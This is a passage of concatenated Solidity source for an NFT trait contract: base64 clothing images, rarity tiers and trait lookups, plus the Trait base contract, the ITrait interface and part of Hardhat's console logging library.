"iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAFVBMVEUAAADt7+z3+fYneeErhfX+//zg4t8twd8zAAAAAXRSTlMAQObYZgAAAFxJREFUGNNjYKASEFR2YGBgVDFhMHF2dlRScXFmMDFWDFVxMVZkEFIUBPIFA4GqTExcQsHKTVyCIAyjUFVnMEM1xMUEzEhxcVGFqDFRhDKURCFqkhSdjanlYOIAAHH5DOZvM6uHAAAAAElFTkSuQmCC"; string private constant FRONT_STRIPE_ORANGE = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAFVBMVEUAAADt7+z3+fbrkw3/oxj+//zg4t+EruBNAAAAAXRSTlMAQObYZgAAAFxJREFUGNNjYKASEFR2YGBgVDFhMHF2dlRScXFmMDFWDFVxMVZkEFIUBPIFA4GqTExcQsHKTVyCIAyjUFVnMEM1xMUEzEhxcVGFqDFRhDKURCFqkhSdjanlYOIAAHH5DOZvM6uHAAAAAElFTkSuQmCC"; string private constant FRONT_SUIT = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAElBMVEUAAAAKFh8PHiz09/MZKDaQBQC6OIC8AAAAAXRSTlMAQObYZgAAAGBJREFUGNO1jYEJgDAMBCMuYCoOkOcHUIoLhC5Q3H8Xk3YFfcJzHCER+SgF+7leMCnN7idK4AmEcIIL4UePEmqzDk1Ds2GcXlrslASnSa109VrjdprxhFAMwLZM0DH/5QXVxg9lyNDWVAAAAABJRU5ErkJggg=="; string private constant FRONT_LUMBER = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAHlBMVEUAAADRVk26OjFiQShgMhCSLifp6enc3NxkY2L7zFc4dVrNAAAAAXRSTlMAQObYZgAAAFVJREFUGNNjYKASEBIyYmAQERJiUFU1VWBVVlUFiYglCYNFXNVK4SJQNeqlKlCRIogaU7VUkEhamZF4knBaGdBIoIgy2OwmsSQJMMPZcrIztRxMHAAAU3sPFfsn/DYAAAAASUVORK5CYII="; string private constant FRONT_COWBOY = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAIVBMVEUAAAAVWm8TZnoMVWqJQBKmIwiOHQpvNxH+1QA4JwokFwZY6uHRAAAAAXRSTlMAQObYZgAAAG9JREFUGNNjYKASEBJ2DEtLFVJkUDR0Eg0LVTJiUBZyUQxNVRJiUBJyd1YJUTRkUBKsKJZ0VxRkUFQqKRRxFxZiUBRyL9YEMQQFXYpFXASVGIyNQSLGxkAjy4vFy8Fmz5zRORPMWLVi1ipqOZg4AAAIXRUILf2sbAAAAABJRU5ErkJggg=="; string private constant FRONT_HIGHVIS_JACKET = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAGFBMVEUAAADCxMG8vrv/pAXy+gD4/wD7mQCcnpvRgHh+AAAAAXRSTlMAQObYZgAAAF1JREFUGNNjYKASEFI0dmA1FlJkUFJKDhJNU1JiUFQyc1RJVhICSiUHqZoBpRgYjANFk8HKXR1VQsGM8iCVcjAj1FE1BMwwBioGM8ycVCCKkwNFzKAMVWNqOZg4AAAc8g4MOkwg4gAAAABJRU5ErkJggg=="; string private constant FRONT_POLICE = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAHlBMVEUAAAACKUsKJkIqNUDj5eEGLE0GGzP23DSwsq4eKDN1tAz/AAAAAXRSTlMAQObYZgAAAHFJREFUGNOtzjEOwyAQBMD9AofjnkOmh5OQ3Z/c4x9gS0R5jyt+G5QXpPCUW+wu8BDjrGpyhMJ22iMTDvZzjeRQgp3fqRI45EsSOyyU2yon4RXyp9+VsRz5GgnDtK33uxmoiqyiOrq9SPyNtOGpw//5AsJIFHjeSLgRAAAAAElFTkSuQmCC"; string private constant FRONT_DOCTOR = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAIVBMVEUAAADy8vL09PSournu7u4VbrgSYKHH2dnW4+NNTU3p6elNMf8JAAAAAXRSTlMAQObYZgAAAIBJREFUGNOtz8ENwjAMBdCPlAFqk0TiaCsLVOoAaTCHcssIkdiBEViEQQnJCODTk/1ly8CfimVdThsLlNdQN1HQ+RrbU2igvogglyM0TwzhFNohHZpiLcpQ8aEWVuzWR8U8zHzssL77mxlH6PbQiexoQLObnQTMzBu4D2TA/fzWB4aNEdL4EWwpAAAAAElFTkSuQmCC"; string private constant FRONT_SCARF = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgAgMAAABm5xBfAAAADFBMVEUAAAAlkck0fqUTXHy1QV4JAAAAAXRSTlMAQObYZgAAACBJREFUCNdjYCAWRFYBiddzQUxLEMEHIjhBBA/RZpAOADMCAriGZfwcAAAAAElFTkSuQmCC"; address public tops2; constructor(address _tops2) { tops2 = _tops2; _tiers = [ 500, 1000, 1400, 1800, 2100, 2400, 2700, 3000, 3300, 3600, 3900, 4200, 4500, 4800, 5100, 5400, 5700, 6000, 6300, 6600, 6900, 7200, 7500, 7800, 8100, 8300, 8500, 8700, 8900, 9100, 9290, 9470, 9620, 9720, 9820, 9870, 9920, 9970, 9990, 10000 ]; } function getName(uint256 traitIndex) public view override returns (string memory name) { if (traitIndex == 0) { return ""; } else if (traitIndex == 1) { return "Strappy Top"; } else if (traitIndex == 2) { return "Chef"; } else if (traitIndex == 3) { return "Prehistoric"; } else if (traitIndex == 4) { return "T-Shirt Black"; } else if (traitIndex == 5) { return "T-Shirt White"; } else if (traitIndex == 6) { return "T-Shirt Blue"; } else if (traitIndex == 7) { return "Vertical Red"; } else if (traitIndex == 8) { return "Vertical Green"; } else if (traitIndex == 9) { return "Vertical Orange"; } else if (traitIndex == 10) { return "Turtleneck Black"; } else if (traitIndex == 11) { return "Turtleneck Orange"; } else if (traitIndex == 12) { return "Stripe Red"; } else if (traitIndex == 13) { return "Stripe Blue"; } else if (traitIndex == 14) { return "Stripe Orange"; } else if (traitIndex == 15) { return "Suit"; } else if (traitIndex == 16) { return "Lumberjack"; } else if (traitIndex == 17) { return "Cowboy"; } else if (traitIndex == 18) { return "High-vis Vest"; } else if (traitIndex == 19) { return "Police"; } else if (traitIndex == 20) { return "Doctor"; } else if (traitIndex == 21) { return "Scarf"; } else { return ITrait(tops2).getName(traitIndex); } } function getSkinLayer(uint256 traitIndex, uint256) public view override returns (string memory layer) { if (traitIndex == 0) { return ""; } else if (traitIndex == 1) { return STRAPPY_TOP; } else if (traitIndex == 2) { return CHEF; } else if (traitIndex == 3) { return PREHISTORIC; } else if (traitIndex == 4) { return TSHIRT_BLACK; } else if (traitIndex == 5) { return TSHIRT_WHITE; } else if (traitIndex == 6) { return TSHIRT_BLUE; } else if (traitIndex == 7) { return VERTICAL_RED; } else if (traitIndex == 8) { return VERTICAL_GREEN; } else if (traitIndex == 9) { return VERTICAL_ORANGE; } else if (traitIndex == 10) { return TURTLENECK_BLACK; } else if (traitIndex == 11) { return TURTLENECK_ORANGE; } else if (traitIndex == 12) { return STRIPE_RED; } else if (traitIndex == 13) { return STRIPE_BLUE; } else if (traitIndex == 14) { return STRIPE_ORANGE; } else if (traitIndex == 15) { return SUIT; } else if (traitIndex == 16) { return LUMBER; } else if (traitIndex == 17) { return COWBOY; } else if (traitIndex == 18) { return HIGHVIS_JACKET; } else if (traitIndex == 19) { return POLICE; } else if (traitIndex == 20) { return DOCTOR; } else if (traitIndex == 21) { return SCARF; } else { return ITrait(tops2).getSkinLayer(traitIndex, 0); } } function getFrontLayer(uint256 traitIndex, uint256) public view override returns (string memory layer) { if (traitIndex == 0) { return ""; } else if (traitIndex == 1) { return FRONT_STRAPPY_TOP; } else if (traitIndex == 2) { return FRONT_CHEF; } else if (traitIndex == 3) { return FRONT_PREHISTORIC; } else if (traitIndex == 4) { return FRONT_TSHIRT_BLACK; } else if (traitIndex == 5) { return FRONT_TSHIRT_WHITE; } else if (traitIndex == 6) { return FRONT_TSHIRT_BLUE; } else if (traitIndex == 7) { return FRONT_VERTICAL_RED; } else if (traitIndex == 8) { return FRONT_VERTICAL_GREEN; } else if (traitIndex == 9) { return FRONT_VERTICAL_ORANGE; } else if (traitIndex == 10) { return FRONT_TURTLENECK_BLACK; } else if (traitIndex == 11) { return FRONT_TURTLENECK_ORANGE; } else if (traitIndex == 12) { return FRONT_STRIPE_RED; } else if (traitIndex == 13) { return FRONT_STRIPE_BLUE; } else if (traitIndex == 14) { return FRONT_STRIPE_ORANGE; } else if (traitIndex == 15) { return FRONT_SUIT; } else if (traitIndex == 16) { return FRONT_LUMBER; } else if (traitIndex == 17) { return FRONT_COWBOY; } else if (traitIndex == 18) { return FRONT_HIGHVIS_JACKET; } else if (traitIndex == 19) { return FRONT_POLICE; } else if (traitIndex == 20) { return FRONT_DOCTOR; } else if (traitIndex == 21) { return FRONT_SCARF; } else { return ITrait(tops2).getFrontLayer(traitIndex, 0); } } function _getLayer( uint256, uint256, string memory ) internal pure override returns (string memory layer) { return ""; } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; import "./ITrait.sol"; abstract contract Trait is ITrait { bool internal _frontArmorTraitsExists = false; uint256[] internal _tiers; /* READ FUNCTIONS */ function getSkinLayer(uint256 traitIndex, uint256 layerIndex) public view virtual override returns (string memory layer) { return _getLayer(traitIndex, layerIndex, ""); } function getFrontLayer(uint256 traitIndex, uint256 layerIndex) external view virtual override returns (string memory frontLayer) { return _getLayer(traitIndex, layerIndex, "FRONT_"); } function getFrontArmorLayer(uint256 traitIndex, uint256 layerIndex) external view virtual override returns (string memory frontArmorLayer) { return _getLayer(traitIndex, layerIndex, "FRONT_ARMOR_"); } function sampleTraitIndex(uint256 rand) external view virtual override returns (uint256 index) { rand = rand % 10000; for (uint256 i = 0; i < _tiers.length; i++) { if (rand < _tiers[i]) { return i; } } } function _layer(string memory prefix, string memory name) internal view virtual returns (string memory trait) { bytes memory sig = abi.encodeWithSignature( string(abi.encodePacked(prefix, name, "()")), "" ); (bool success, bytes memory data) = address(this).staticcall(sig); return success ? abi.decode(data, (string)) : ""; } function _indexedLayer( uint256 layerIndex, string memory prefix, string memory name ) internal view virtual returns (string memory layer) { return _layer( string(abi.encodePacked(prefix, _getLayerPrefix(layerIndex))), name ); } function _getLayerPrefix(uint256) internal view virtual returns (string memory prefix) { return ""; } /* PURE VIRTUAL FUNCTIONS */ function _getLayer( uint256 traitIndex, uint256 layerIndex, string memory prefix ) internal view virtual returns (string memory layer); /* MODIFIERS */ } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ITrait { function getSkinLayer(uint256 traitIndex, uint256 layerIndex) external view returns (string memory layer); function getFrontLayer(uint256 traitIndex, uint256 layerIndex) external view returns (string memory frontLayer); function getFrontArmorLayer(uint256 traitIndex, uint256 layerIndex) external view returns (string memory frontArmorLayer); function getName(uint256 traitIndex) external view returns (string memory name); function sampleTraitIndex(uint256 rand) external view returns (uint256 index); } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { 